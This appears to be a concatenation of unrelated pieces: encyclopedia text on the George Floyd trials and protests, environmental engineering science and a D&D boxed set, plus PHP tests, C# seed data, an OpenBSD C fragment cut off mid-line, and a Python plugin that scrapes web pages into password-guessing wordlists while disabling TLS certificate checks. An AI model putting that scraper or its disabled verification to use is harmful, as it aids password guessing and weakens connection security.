2022, Lane was formally sentenced by the Hennepin County District Court to three years in prison. In the plea agreement, Lane admitted he knew from his training that the manner of Floyd's restraint created a risk of death, that he heard Floyd say he could not breathe, and that he was aware of Floyd's deteriorating condition. At a pre-trial hearing on June 21, 2022, Judge Cahill rejected a motion by attorneys for Kueng and Thao for a change in venue, and the judge set a trial start date in Hennepin County for October 24, 2022. The state offered Kueng and Thao the same plea deal they offered Lane. In exchange for pleading guilty to the state charge of aiding and abetting manslaughter, the state would drop the abetting second-degree murder charge and the pair would receive a three-year prison sentence to be served consecutively with their federal sentence, but they rejected it at a court hearing on August 15, 2022. In preparation for the trial, unlike the previous criminal trial of Chauvin and the civil rights trial of the other three offices at the scene of Floyd's death, local officials had not surrounded the courtroom building with barbed-wire security fencing and National Guard troops. The morning of October 24, 2022, a few hours before the jury selection proceedings were set to begin, Kueng pleaded guilty to the criminal state charges of aiding and abetting manslaughter with a recommendation of years, to be served concurrently with his federal sentence at a federal prison. On December 9, 2022, Cahill formally sentenced Kueng to the agreed-upon sentence, to be served concurrently to his federal sentence. Evidentiary trial of Thao The same day Kueng pleaded guilty, on October 24, 2022, Thao waved his right to a jury trial in lieu of a trial by stipulated evidence. The legal move required attorneys to submit evidence to the court for review by Peter Cahill, the same judge as in Chauvin's criminal trial. Thao was held in a Hennepin County jail while awaiting the outcome. If found guilty, he faced a potential state sentence from three to five years. Attorneys for the state and Thao submitted closing arguments to the court on January 31, 2023. The state argued that Thao knew the restraint on Floyd was dangerous and that he encouraged the other officers' actions by holding concerned onlookers back. Attorneys for Thao argued that his role was to control the crowd and that he was unaware that Floyd was not breathing and did not have a pulse. Under Minnesota law, Cahill had 90 days to review evidence agreed to by sets of attorneys—transcripts and exhibits from the criminal trial of Chauvin and the civil rights trial of Kueng, Lane, and Thao—and issue a determination on Thao's guilt. In a written verdict issued on May 2, 2023, Cahill found Thao guilty of aiding and abetting manslaughter. Cahill wrote, "Thao actively encouraged his three colleagues' dangerous prone restraint of Floyd while holding back a crowd of concerned bystanders" and that Thao knew "Floyd had stopped talking and fallen silent, had stopped moving altogether, and had become totally unresponsive". Thao's guilty verdict was the last case to be prosecuted in state or federal court for the four Minneapolis police officers who had varying roles in Floyd's murder. After the verdict was issued, Thao remained under custody. His attorney said he planned to appeal the verdict. On August 7, 2023, Cahill sentenced Thao to the maximum of years, to run concurrently with his federal sentence. He was given slightly less than a year of credit for time served in a county jail facility while awaiting the state trial. Cahill said he believed Thao was less culpable than Chauvin, but more than Lane and Kueng, and that he had hoped Thao would be more remorseful in statements before the court. Reaction Protests Floyd's murder resulted in a global protest movement against historic racism and police brutality. In the United States, protests of racial injustice in mid 2020 were the largest since the Civil Rights movement of the 1960s, and gave way to widespread civil unrest. Protests began locally on May 26 in the Minneapolis–Saint Paul metropolitan area before quickly, within a few days, spreading nationwide and in over 60 countries internationally supporting Black Lives Matter. Over 2,000 cities in the United States had seen demonstrations as of June 13. Many of the demonstrations involved die-ins, with protestors lying down for 8 minutes and 46 seconds, the length of time initial reports said Chauvin knelt on Floyd's neck. While the majority of protests were peaceful, demonstrations in some cities descended into riots and looting, with more being marked by street skirmishes and significant police brutality, notably against peaceful protesters and reporters. At least 200 cities in the U.S. had imposed curfews by June 3, while more than 30 states and Washington, D.C, activated over 62,000 National Guard personnel due to the mass unrest. The protests were initially peaceful, but later there was vandalism of stores. At the 3rd Precinct police station in Minneapolis, windows were broken, a fence was pulled down, and the front entrance was broken into, causing police officers to fire less-than-lethal rounds at the crowd from the building's roof. After staff evacuated the building, it was set on fire. A six-story, 200-unit apartment building under construction was also burned. Police in riot gear used tear gas, flash grenades, rubber bullets and smoke bombs, and some protesters threw rocks at the police. The media highlighted the apparent differences in aggression between the police response to these protests versus the more restrained response to the 2020 United States anti-lockdown protests featuring gun-wielding white protesters. This sentiment also spread on social media by groups such as Black Lives Matter. While peaceful protests continued, others again became violent after sundown, with the pattern repeating for several days. More than 1,500 businesses were vandalized or destroyed in the MinneapolisSaint Paul area, including 67 destroyed by fire. Following the rioting, a nighttime curfew in Minneapolis–Saint Paul and Dakota County was established on May 29. 500 Minnesota National Guard soldiers were later dispatched to the area to enforce the curfew, but to little effect, with about 1,000 protesters being able to march peacefully on Interstate 35 well into curfew. Mass protests demanding justice for George Floyd, in some cases also to demonstrate against issues with police brutality in their own countries, took place in over 2,000 cities in the United States and around the world, By May 30, 12 U.S. states called up the National Guard, and at least 12 major cities imposed curfews that weekend. By June 14, protests had extended into a third week after Floyd's murder in many cities, accompanied by calls to reform and defund police departments throughout the United States. Memorials The area near the location where Floyd was murdered became a makeshift memorial throughout May 26, with many placards paying tribute to him and referencing the Black Lives Matter movement. As the day progressed, more people came to demonstrate against Floyd's murder. Hundreds of people, then marched to the 3rd Precinct of the Minneapolis Police. Participants used posters and slogans with phrases such as "Justice for George", "I can't breathe", and "Black Lives Matter". On September 18, the Minneapolis City Council approved designating the section of Chicago Avenue between 37th and 39th Streets as George Perry Floyd Jr. Place, with a marker at the intersection with 38th Street where the incident took place. The intersection has been closed and occupied by demonstrators who said they will not leave until their demands regarding anti-racism and property tax are met. A public memorial, with Al Sharpton delivering the eulogy, was held June 4 at North Central University in Minneapolis. A public viewing and a family memorial was held in Raeford, North Carolina on June 6, near Floyd's hometown. Floyd's family held a public memorial in Houston on June 8, and a private service on June 9. The family said professional boxer Floyd Mayweather paid for the services. Floyd's body was on public view on June 8 in his hometown of Houston. Former Vice President and the 2020 presumptive and eventual Democratic nominee, Joe Biden, met with the Floyd family privately and gave a video message at the funeral. Floyd is buried next to his mother in Pearland, Texas. The length of time that Chauvin was originally reported to have had his knee on Floyd's neck, 8:46, was widely commemorated as a "moment of silence" to honor Floyd. It was also used in chants, protest signs, and messages, as were the words "I can't breathe". Other reactions A variety of people and organizations reacted to Floyd's murder. Numerous statues and monuments honoring persons or events associated with slavery and racism were vandalized, removed, or destroyed during the protests in the U.S. and elsewhere. Aftermath Media Darnella Frazier, who as a 17-year old filmed Floyd's restraint on her cell phone, received the 2020 PEN/Benenson Courage Award from PEN America. The award was presented to her at an awards ceremony in December 2020 by film director Spike Lee. PEN America CEO Suzanne Nossel said that Frazier's act sparked a "bold movement demanding an end to systemic anti-black racism and violence at the hands of police." In June 2021, Frazier also received a special citation from the Pulitzer Prize committee in 2021 for her video. The staff of the Star Tribune received the prize for Breaking News Reporting for their coverage of protests. Policing Chokeholds and other neck restraints were banned or restricted by at least 17 state legislatures in the year after Floyd's murder. As a result of Floyd's murder, the United States Justice Department conducted a federal review of the Minneapolis Police Department. Its report, released in 2023, found that they city's police had a pattern and practice of using deadly and other force excessively, of disproportionately searching and stopping black and Native American people, of violating the free-speech rights of protesters, and of discriminating against people with behavior health disabilities during emergency responses. About the report, Attorney General Merrick Garland said that "the patterns and practices we observed made what happened to George Floyd possible". See also List of unarmed African Americans killed by law enforcement officers in the United States 2020 American athlete strikes 2020–2023 Minneapolis–Saint Paul racial unrest Killing of Tony Timpa who died in a similar way while in police custody (Dallas, 2016) List of killings by law enforcement officers in Minnesota Lists of killings by law enforcement officers in the United States List of law enforcement officers convicted for an on-duty killing in the United States Notes References Further reading External links Complaint – State of Minnesota v. Derek Michael Chauvin , Minnesota District Court, Fourth Judicial District, File No. 27-CR-20-12646. May 29, 2020. Amended Complaint – State of Minnesota v. Derek Michael Chauvin, Minnesota District Court, Fourth Judicial District, File No. 27-CR-20-12646. June 3, 2020. Complaint – State of Minnesota v. J Alexander Kueng, Minnesota District Court, Fourth Judicial District. June 3, 2020. Complaint – State of Minnesota v. Thomas Kiernan Lane, Minnesota District Court, Fourth Judicial District, File No. 27-CR-20-12951. June 3, 2020. Complaint – State of Minnesota v. Tou Thao, Minnesota District Court, Fourth Judicial District, File No. 27-CR-20-12949. June 3, 2020. Press Release Report: Floyd George Perry, Case No: 2020–3700. Hennepin County Medical Examiner. June 1, 2020. Autopsy Report, George Floyd, Deceased, ME No.: 20–3700. Hennepin County Medical Examiner. June 1, 2020. (20 pages.) Stipulation and Order, State of Minnesota v. City of Minneapolis Police Department, Minnesota District Court, Fourth Judicial District, File No. 27-CV-20-8182. June 8, 2020. Stipulation between City of Minneapolis and Minnesota Department of Human Rights and preliminary injunction. Transcripts of audio of Floyd's last moments, as recorded on Minneapolis police body camera footage and publicly filed on the state court record on July 8, 2020 2020 controversies in the United States 2020 controversies 2020 in Minnesota 2020 murders in the United States 2020 scandals 2020–2021 United States racial unrest 2020s in Minneapolis Police brutality in the 2020s May 2020 crimes in the United States May 2020 events in the United States African-American history in Minneapolis–Saint Paul African-American-related controversies Asphyxia-related deaths by law enforcement in the United States Black Lives Matter Deaths by person in Minnesota Deaths in police custody in the United States Filmed deaths in the United States Filmed killings by law enforcement History of racism in Minnesota Law enforcement controversies in the United States Minneapolis Police Department Murders by law enforcement officers in the United States People murdered in Minnesota Police brutality in the United States Incidents of violence against men
```php <?php /* * This file is part of the Kimai time-tracking app. * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace App\Tests\Controller; use App\Entity\Timesheet; use App\Entity\User; use App\Tests\DataFixtures\TimesheetFixtures; /** * @group integration */ class UserControllerTest extends ControllerBaseTest { public function testIsSecure(): void { $this->assertUrlIsSecured('/admin/user/'); } public function testIsSecureForRole(): void { $this->assertUrlIsSecuredForRole(User::ROLE_ADMIN, '/admin/user/'); } public function testIndexAction(): void { $client = $this->getClientForAuthenticatedUser(User::ROLE_SUPER_ADMIN); $this->assertAccessIsGranted($client, '/admin/user/'); $this->assertHasDataTable($client); $this->assertDataTableRowCount($client, 'datatable_user_admin', 7); $this->assertPageActions($client, [ 'download toolbar-action' => $this->createUrl('/admin/user/export'), 'create modal-ajax-form' => $this->createUrl('/admin/user/create'), 'dropdown-item action-weekly' => $this->createUrl('/reporting/users/week'), 'dropdown-item action-monthly' => $this->createUrl('/reporting/users/month'), 'dropdown-item action-yearly' => $this->createUrl('/reporting/users/year'), ]); } public function testIndexActionWithSearchTermQuery(): void { $client = $this->getClientForAuthenticatedUser(User::ROLE_SUPER_ADMIN); $this->request($client, '/admin/user/'); $this->assertTrue($client->getResponse()->isSuccessful()); $form = $client->getCrawler()->filter('form.searchform')->form(); $client->submit($form, [ 'searchTerm' => 'hourly_rate:35 tony', 'role' => 'ROLE_TEAMLEAD', 'visibility' => 1, 'size' => 50, 'page' => 1, ]); $this->assertTrue($client->getResponse()->isSuccessful()); $this->assertHasDataTable($client); $this->assertDataTableRowCount($client, 'datatable_user_admin', 1); } public function testExportIsSecureForRole(): void { $this->assertUrlIsSecuredForRole(User::ROLE_ADMIN, '/admin/user/export'); } public function testExportAction(): void { $client = $this->getClientForAuthenticatedUser(User::ROLE_SUPER_ADMIN); $this->assertAccessIsGranted($client, '/admin/user/export'); $this->assertExcelExportResponse($client, 'kimai-users_'); } public function testExportActionWithSearchTermQuery(): void { $client = $this->getClientForAuthenticatedUser(User::ROLE_SUPER_ADMIN); $this->request($client, '/admin/user/'); $this->assertTrue($client->getResponse()->isSuccessful()); $form = $client->getCrawler()->filter('form.searchform')->form(); $form->getFormNode()->setAttribute('action', $this->createUrl('/admin/user/export')); $client->submit($form, [ 'searchTerm' => 'hourly_rate:35 tony', 'role' => 'ROLE_TEAMLEAD', 'visibility' => 1, 'size' => 50, 'page' => 1, ]); $this->assertExcelExportResponse($client, 'kimai-users_'); } public function testCreateAction(): void { $username = '' . uniqid(); $client = $this->getClientForAuthenticatedUser(User::ROLE_SUPER_ADMIN); $this->assertAccessIsGranted($client, '/admin/user/create'); $form = $client->getCrawler()->filter('form[name=user_create]')->form(); $client->submit($form, [ 'user_create' => [ 'username' => $username, 'alias' => $username, 'plainPassword' => ['first' => '12345678', 'second' => '12345678'], 'email' => 'foobar@example.com', 'enabled' => 1, ] ]); $location = $this->assertIsModalRedirect($client, '/profile/' . urlencode($username) . '/edit'); $this->requestPure($client, $location); $form = $client->getCrawler()->filter('form[name=user_edit]')->form(); $this->assertEquals($username, $form->get('user_edit[alias]')->getValue()); } public function testDeleteAction(): void { $client = $this->getClientForAuthenticatedUser(User::ROLE_SUPER_ADMIN); $this->request($client, '/admin/user/4/delete'); $this->assertTrue($client->getResponse()->isSuccessful()); $form = $client->getCrawler()->filter('form[name=form]')->form(); $this->assertStringEndsWith($this->createUrl('/admin/user/4/delete'), $form->getUri()); $client->submit($form); $client->followRedirect(); $this->assertHasDataTable($client); $this->assertHasFlashSuccess($client); $this->request($client, '/admin/user/4/edit'); $this->assertFalse($client->getResponse()->isSuccessful()); } public function testDeleteActionWithTimesheetEntries(): void { $client = $this->getClientForAuthenticatedUser(User::ROLE_SUPER_ADMIN); $em = $this->getEntityManager(); $user = $this->getUserByRole(User::ROLE_USER); $fixture = new TimesheetFixtures(); $fixture->setUser($user); $fixture->setAmount(10); $this->importFixture($fixture); $timesheets = $em->getRepository(Timesheet::class)->findAll(); $this->assertEquals(10, \count($timesheets)); $this->request($client, '/admin/user/' . $user->getId() . '/delete'); $this->assertTrue($client->getResponse()->isSuccessful()); $form = $client->getCrawler()->filter('form[name=form]')->form(); $this->assertStringEndsWith($this->createUrl('/admin/user/' . $user->getId() . '/delete'), $form->getUri()); $client->submit($form); $this->assertIsRedirect($client, $this->createUrl('/admin/user/')); $client->followRedirect(); $this->assertHasFlashDeleteSuccess($client); $em->clear(); $timesheets = $em->getRepository(Timesheet::class)->count([]); $this->assertEquals(0, $timesheets); $this->request($client, '/admin/user/' . $user->getId() . '/edit'); $this->assertFalse($client->getResponse()->isSuccessful()); } public function testDeleteActionWithUserReplacementAndTimesheetEntries(): void { $client = $this->getClientForAuthenticatedUser(User::ROLE_SUPER_ADMIN); $em = $this->getEntityManager(); $user = $this->getUserByRole(User::ROLE_USER); $userNew = $this->getUserByRole(User::ROLE_TEAMLEAD); $this->assertNotEquals($userNew->getId(), $user->getId()); $fixture = new TimesheetFixtures(); $fixture->setUser($user); $fixture->setAmount(10); $this->importFixture($fixture); $timesheets = $em->getRepository(Timesheet::class)->findAll(); $this->assertEquals(10, \count($timesheets)); foreach ($timesheets as $timesheet) { $this->assertEquals($user->getId(), $timesheet->getUser()->getId()); } $this->request($client, '/admin/user/' . $user->getId() . '/delete'); $this->assertTrue($client->getResponse()->isSuccessful()); $form = $client->getCrawler()->filter('form[name=form]')->form(); $this->assertStringEndsWith($this->createUrl('/admin/user/' . $user->getId() . '/delete'), $form->getUri()); $client->submit($form, [ 'form' => [ 'user' => $userNew->getId() ] ]); $this->assertIsRedirect($client, $this->createUrl('/admin/user/')); $client->followRedirect(); $this->assertHasFlashDeleteSuccess($client); $em->clear(); $timesheets = $em->getRepository(Timesheet::class)->findAll(); $this->assertEquals(10, \count($timesheets)); foreach ($timesheets as $timesheet) { $this->assertEquals($userNew->getId(), $timesheet->getUser()->getId()); } $this->request($client, '/admin/user/' . $user->getId() . '/edit'); $this->assertFalse($client->getResponse()->isSuccessful()); } /** * @dataProvider getValidationTestData */ public function testValidationForCreateAction(array $formData, array $validationFields): void { $this->assertFormHasValidationError( User::ROLE_SUPER_ADMIN, '/admin/user/create', 'form[name=user_create]', $formData, $validationFields ); } public function getValidationTestData() { return [ [ // invalid fields: username, password_second, email, enabled [ 'user_create' => [ 'username' => '', 'plainPassword' => ['first' => 'sdfsdf123'], 'alias' => 'ycvyxcb', 'title' => '34rtwrtewrt', 'email' => '', ] ], [ '#user_create_username', '#user_create_plainPassword_first', '#user_create_email', ] ], // invalid fields: username, password, email, enabled [ [ 'user_create' => [ 'username' => 'x', 'plainPassword' => ['first' => 'sdfsdf123', 'second' => 'sdfxxxxxxx'], 'alias' => 'ycvyxcb', 'title' => '34rtwrtewrt', 'email' => 'ydfbvsdfgs', ] ], [ '#user_create_username', '#user_create_plainPassword_first', '#user_create_email', ] ], // invalid fields: password (too short) [ [ 'user_create' => [ 'username' => 'test123', 'plainPassword' => ['first' => 'test123', 'second' => 'test123'], 'alias' => 'ycvyxcb', 'title' => '34rtwrtewrt', 'email' => 'ydfbvsdfgs@example.com', ] ], [ '#user_create_plainPassword_first', ] ], ]; } } ```
```smalltalk using Microsoft.EntityFrameworkCore; using SimplCommerce.Infrastructure.Data; using SimplCommerce.Module.Core.Models; using SimplCommerce.Module.Tax.Models; namespace SimplCommerce.Module.Tax.Data { public class TaxCustomModelBuilder : ICustomModelBuilder { public void Build(ModelBuilder modelBuilder) { modelBuilder.Entity<TaxClass>().HasData(new TaxClass(1) { Name = "Standard VAT" }); modelBuilder.Entity<AppSetting>().HasData( new AppSetting("Tax.DefaultTaxClassId") { Module = "Tax", IsVisibleInCommonSettingPage = true, Value = "1" } ); } } } ```
Please don't delete this article because this actor is playing a lead or supporting role in the tokusatsu series "Kamen Rider Ex-Aid" and will continue his career and make more roles, either lead or supporting, after the end of the programme. is a Japanese actor. He is represented with Amuse, Inc. Biography Kai debuted in 2015. He was scouted by the talent agency Amuse during high school. However, at the request of his principal, Kai finished high school before entering the entertainment business. In 2016, Kai made his first television appearance in Kamen Rider Ex-Aid as Parado / Kamen Rider Para-DX. Filmography TV drama Films References External links Male actors from Tokyo 1997 births Living people Amuse Inc. talents 21st-century Japanese singers 21st-century Japanese male singers
```python #!/usr/bin/env python # coding:utf-8 # Referred: path_to_url # author: LandGrey """ """ from __future__ import unicode_literals import os import re import ssl from lib.fun.decorator import magic from lib.fun.osjudger import py_ver_egt_3 from lib.data.data import paths, pyoptions from lib.fun.fun import unique, cool, walk_pure_file try: # ssl._create_unverified_context is present in Python 2.7.9 and later ssl._create_default_https_context = ssl._create_unverified_context except: try: ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE except: pass # in python3: urllib + urilib2 -> urllib, and # urllib2.urlopen() -> urllib.request.urlopen(), urllib2.Request() -> urllib.request.Request() try: if py_ver_egt_3(): from urllib.request import urlopen else: from urllib2 import urlopen except ImportError as e: print(e.message) exit(cool.red('[-] can not import urllib or urllib2 module:') + pyoptions.CRLF) passcratch_black_list = walk_pure_file(paths.scratch_blacklist) def stripHTMLTags(html): text = html rules = [ {r'>\s+': '>'}, # Remove spaces after a tag opens or closes. {r'\s+': ' '}, # Replace consecutive spaces. {r'\s*<br\s*/?>\s*': '\n'}, # Newline after a <br>. {r'</(div)\s*>\s*': '\n'}, # Newline after </p> and </div> and <h1/>. {r'</(p|h\d)\s*>\s*': '\n\n'}, # Newline after </p> and </div> and <h1/>. {r'<head>.*<\s*(/head|body)[^>]*>': ''}, # Remove <head> to </head>. {r'<a\s+href="([^"]+)"[^>]*>.*</a>': r'\1'}, # Show links instead of texts. {r'[ \t]*<[^<]*?/?>': ''}, # Remove remaining tags. {r'^\s+': ''} # Remove spaces at the beginning. ] for rule in rules: for (k, v) in rule.items(): try: regex = re.compile(k) text = str(regex.sub(v, text)) except: pass htmlspecial = { '&nbsp;': ' ', '&amp;': '&', '&quot;': '"', '&lt;': '<', '&gt;': '>' } for (k, v) in htmlspecial.items(): text = text.replace(k, v) return text def scratchword(siteList): resluts = [] # Create an empty list for generation logic. y_arr = [] for site in siteList: try: site = site.strip() response = urlopen(site) response.addheaders = \ [('User-agent', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0')] # if you don't decode('utf-8'), it will don't work both in python2 and python3 try: x = stripHTMLTags(response.read().decode('utf-8') + site) except: try: x = stripHTMLTags(response.read().decode('GBK') + site) except: exit(cool.red("[-] Page coding parse error, please use 'extend' plug instead") + pyoptions.CRLF) # Replace junk found in our response x = x.replace('\n', ' ') x = x.replace(',', ' ') x = x.replace('.', ' ') x = x.replace('/', ' ') x = re.sub('[^A-Za-z0-9]+', ' ', x) x_arr = x.split(' ') for y in x_arr: y = y.strip() if y and (len(y) >= 5): if ((y[0] == '2') and (y[1] == 'F')) \ or ((y[0] == '2') and (y[1] == '3')) \ or ((y[0] == '3') and (y[1] == 'F')) or ((y[0] == '3') and (y[1] == 'D')): y = y[2:] if len(y) <= 8 and True if y.lower() not in passcratch_black_list and len(y) >= 5 else False: y_arr.append(y) elif 9 <= len(y) <= 25 and True if y.lower() not in passcratch_black_list else False: y_arr.append(y) except Exception: exit(cool.red("[-] Process abort, please check url and try use 'extend' function instead") + pyoptions.CRLF) for yy in unique(y_arr): if yy.strip().isdigit(): pass else: if not re.findall(pyoptions.scratch_filter, yy.strip(), flags=re.I): resluts.append(yy.strip()) return unique(resluts) def checkurl(urlike): try: if not str(urlike).startswith('http'): return 'path_to_url + urlike.strip() else: return urlike except: exit(cool.red("[-] Incorrect url/uri: {0}".format(cool.red(urlike.strip())))) def scratch_magic(*args): """[url_or_file]""" args = list(args[0]) if len(args) == 1: target = paths.scrapersites_path elif len(args) == 2: target = args[1] else: exit(pyoptions.CRLF + cool.fuchsia("[!] Usage: {} {}".format(args[0], pyoptions.plugins_info.get(args[0])))) sites = [] if os.path.isfile(target): with open(target, 'r') as f: for _ in f: if _.startswith(pyoptions.annotator): pass else: sites.append(checkurl(_)) else: sites.append(checkurl(target)) rawlist = scratchword(sites) @magic def scratch(): return rawlist ```
Environmental engineering science (EES) is a multidisciplinary field of engineering science that combines the biological, chemical and physical sciences with the field of engineering. This major traditionally requires the student to take basic engineering classes in fields such as thermodynamics, advanced math, computer modeling and simulation and technical classes in subjects such as statics, mechanics, hydrology, and fluid dynamics. As the student progresses, the upper division elective classes define a specific field of study for the student with a choice in a range of science, technology and engineering related classes. Difference with related fields As a recently created program, environmental engineering science has not yet been incorporated into the terminology found among environmentally focused professionals. In the few engineering colleges that offer this major, the curriculum shares more classes in common with environmental engineering than it does with environmental science. Typically, EES students follow a similar course curriculum with environmental engineers until their fields diverge during the last year of college. The majority of the environmental engineering students must take classes designed to connect their knowledge of the environment to modern building materials and construction methods. This is meant to direct the environmental engineer into a field where they will more than likely assist in building treatment facilities, preparing environmental impact assessments or helping to mitigate air pollution from specific point sources. Meanwhile, the environmental engineering science student will choose a direction for their career. From the range of electives they have to choose from, these students can move into a fields such as the design of nuclear storage facilities, bacterial bioreactors or environmental policies. These students combine the practical design background of an engineer with the detailed theory found in many of the biological and physical sciences. Description at universities Stanford University The Civil and Environmental Engineering department at Stanford University provides the following description for their program in Environmental Engineering and Science: The Environmental Engineering and Science (EES) program focuses on the chemical and biological processes involved in water quality engineering, water and air pollution, remediation and hazardous substance control, human exposure to pollutants, environmental biotechnology, and environmental protection. UC Berkeley The College of Engineering at UC Berkeley defines Environmental Engineering Science, including the following: This is a multidisciplinary field requiring an integration of physical, chemical and biological principles with engineering analysis for environmental protection and restoration. The program incorporates courses from many departments on campus to create a discipline that is rigorously based in science and engineering, while addressing a wide variety of environmental issues. Although an environmental engineering option exists within the civil engineering major, the engineering science curriculum provides a more broadly based foundation in the sciences than is possible in civil engineering Massachusetts Institute of Technology At MIT, the major is described in their curriculum, including the following: The Bachelor of Science in Environmental Engineering Science emphasizes the fundamental physical, chemical, and biological processes necessary for understanding the interactions between man and the environment. Issues considered include the provision of clean and reliable water supplies, flood forecasting and protection, development of renewable and nonrenewable energy sources, causes and implications of climate change, and the impact of human activities on natural cycles University of Florida The College of Engineering at UF defines Environmental Engineering Science as follows: The broad undergraduate environmental engineering curriculum of EES has earned the department a ranking as a leading undergraduate program. The ABET accredited engineering bachelor's degree is comprehensively based on physical, chemical, and biological principles to solve environmental problems affecting air, land, and water resources. An advising scheme including select faculty, led by the undergraduate coordinator, guides each student through the program. The program educational objectives of the EES program at the University of Florida are to produce engineering practitioners and graduate students who 3-5 years after graduation: Continue to learn, develop and apply their knowledge and skills to identify, prevent, and solve environmental problems. Have careers that benefit society as a result of their educational experiences in science, engineering analysis and design, as well as in their social and cultural studies. Communicate and work effectively in all work settings including those that are multidisciplinary. Lower division coursework Lower division coursework in this field requires the student to take several laboratory-based classes in calculus-based physics, chemistry, biology, programming and analysis. This is intended to give the student background information in order to introduce them to the engineering fields and to prepare them for more technical information in their upper division coursework. Upper division coursework The upper division classes in Environmental Engineering Science prepares the student for work in the fields of engineering and science with coursework in subjects including the following: Fluid mechanics Mechanics of materials Thermodynamics Environmental engineering Advanced math and statistics Geology Physical, organic and atmospheric chemistry Biochemistry Microbiology Ecology Electives Process engineering On this track, students are introduced to the fundamental reaction mechanisms in the field of chemical and biochemical engineering. Resource engineering For this track, students take classes introducing them to ways to conserve natural resources. This can include classes in water chemistry, sanitation, combustion, air pollution and radioactive waste management. Geoengineering This examines geoengineering in detail. Ecology This prepares the students for using their engineering and scientific knowledge to solve the interactions between plants, animals and the biosphere. Biology This includes further education about microbial, molecular and cell biology. Classes can include cell biology, virology, microbial and plant biology Policy This covers in more detail ways the environment can be protected through political means. This is done by introducing students to qualitative and quantitative tools in classes such as economics, sociology, political science and energy and resources. Post graduation work The multidisciplinary approach in Environmental Engineering Science gives the student expertise in technical fields related to their own personal interest. While some graduates choose to use this major to go to graduate school, students who choose to work often go into the fields of civil and environmental engineering, biotechnology, and research. However, the less technical math, programming and writing background gives the students opportunities to pursue IT work and technical writing. See also Civil engineering Environmental engineering Environmental science Sustainability Green building Sustainable engineering Notes References "MIT Course Catalog: Department of Civil and Environmental Engineering." Massachusetts Institute of Technology. <http://web.mit.edu/catalogue/degre.engin.civil.shtml>. 2008-2009 Announcement. Brochure. Berkeley, 2008. Engineering Announcement 2008-2009. University of California, Berkeley. <https://web.archive.org/web/20081203005457/http://coe.berkeley.edu/students/EngAnn08.pdf>. External links Engineering Engineering and Science program at Stanford University What people go on to do in Engineering Science at UC Berkeley Curriculum at University of Florida Curriculum at MIT Curriculum at University of Illinois Engineering disciplines Civil engineering Environmental science
Wrath of the Immortals, written by Aaron Allston, is a boxed set for the Dungeons & Dragons (D&D) fantasy role-playing game first published by TSR in 1992, revising the rules of the Immortals Rules box set that was originally released in 1986. Publication history The Dungeons & Dragons Rules Cyclopedia was first published in 1991, compiling and revising the major rules from the Dungeons & Dragons Basic Rules, Expert Rules, Companion Rules, and Master Rules boxed sets. Instead of also adding the major rules from the Immortals Rules box set to the Rules Cyclopedia, TSR published a separate product in 1992: Wrath of the Immortals. The box set contains two books: the 128-page core rulebook titled Codex of the Immortals and a 96-page campaign setting titled The Immortals' Fury. The set also includes two poster-sized maps that go with the latter book. Both books were written by Aaron Allston, who also worked on the Rules Cyclopedia. Jeff Easley and Terry Dykstra also returned to provide the cover and interior artwork, respectively. Contents The first book in the box set, the Codex of the Immortals, contains the revised rules on supporting Immortals. The book's introduction lists some of the major rule changes from the Immortals Rules box set, also noting that these rules also supplant those in the Rules Cyclopedia regarding immortals. The book also contains an overview of all the immortal NPCs in the Known World (Mystara) and Hollow World campaign settings. The second book, The Immortals' Fury, is a campaign saga set in the Known World (Mystara) and Hollow World settings. The Dungeon Master is warned that the adventure "will result in catastrophic alterations to the world's surface ... [and] the Hollow World setting, as well". It also provides a detailed, updated timeline of Mystara that was first presented in both the Gazetteers series and the Hollow World box set, both ret-conning related past events as well as listing events that result because of the adventure (as well as how the player characters interact in these changing events). It is split into three major parts: Phase One, designed for characters of level 1–5, and taking place four years after the "present time" depicted in the Gazetteers; Phase Two, to be played when the player characters are at least at level 6, and between five and six years after the "present time"; and Phase Three, when the player characters are at least at level 16, and roughly seven years after the "present time". In Phase One, the player characters explore a castle in which they eventually find a being trapped in an artifact, who, after being rescued, becomes a powerfully ally. In Phase Two, all the nations of the Known World are preparing to war with each other, and the being that was previously rescued asks the player characters to find evidence that Immortals are behind these events. In Phase Three, when all the nations are at war, the player characters discover the Immortals' plans and attempt to stop it. One of the two maps in the box set depicts the Known World before the events of The Immortals' Fury, and the other map depicts the changed world in its aftermath. Reception Reviews Casus Belli #74 References Dungeons & Dragons sourcebooks Mystara Role-playing game supplements introduced in 1992
```c /* $OpenBSD: flowspec.c,v 1.5 2023/10/23 13:07:44 claudio Exp $ */ /* * * Permission to use, copy, modify, and distribute this software for any * purpose with or without fee is hereby granted, provided that the above * copyright notice and this permission notice appear in all copies. * * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. */ #include <string.h> #include <stdio.h> #include "bgpd.h" #include "rde.h" /* * Extract the next component from a flowspec NLRI buffer. * Returns the length of the component including type field or -1 on failure. * Also checks that the prefix encoding is valid. */ static int flowspec_next_component(const uint8_t *buf, int len, int is_v6, int *type) { int vlen = 0; uint8_t plen, off, op; *type = 0; if (len < 1) return -1; *type = buf[vlen]; vlen++; if (*type < FLOWSPEC_TYPE_MIN || *type >= FLOWSPEC_TYPE_MAX) return -1; switch (*type) { case FLOWSPEC_TYPE_DEST: case FLOWSPEC_TYPE_SOURCE: if (!is_v6) { /* regular RFC 4271 encoding of prefixes */ if (len < vlen + 1) return -1; plen = buf[vlen]; vlen += PREFIX_SIZE(plen); if (plen > 32 || len < vlen) return -1; } else { /* special RFC 8956 encoding with extra offset */ if (len < vlen + 2) return -1; plen = buf[vlen]; off = buf[vlen + 1]; if (plen > 128 || off >= plen) return -1; vlen += PREFIX_SIZE(plen - off) + 1; /* off is extra */ if (len < vlen) return -1; } break; case FLOWSPEC_TYPE_FLOW: if (!is_v6) return -1; /* FALLTHROUGH */ default: do { if (len < vlen + 1) return -1; op = buf[vlen]; /* first component cannot have and flag set */ if (vlen == 1 && op & 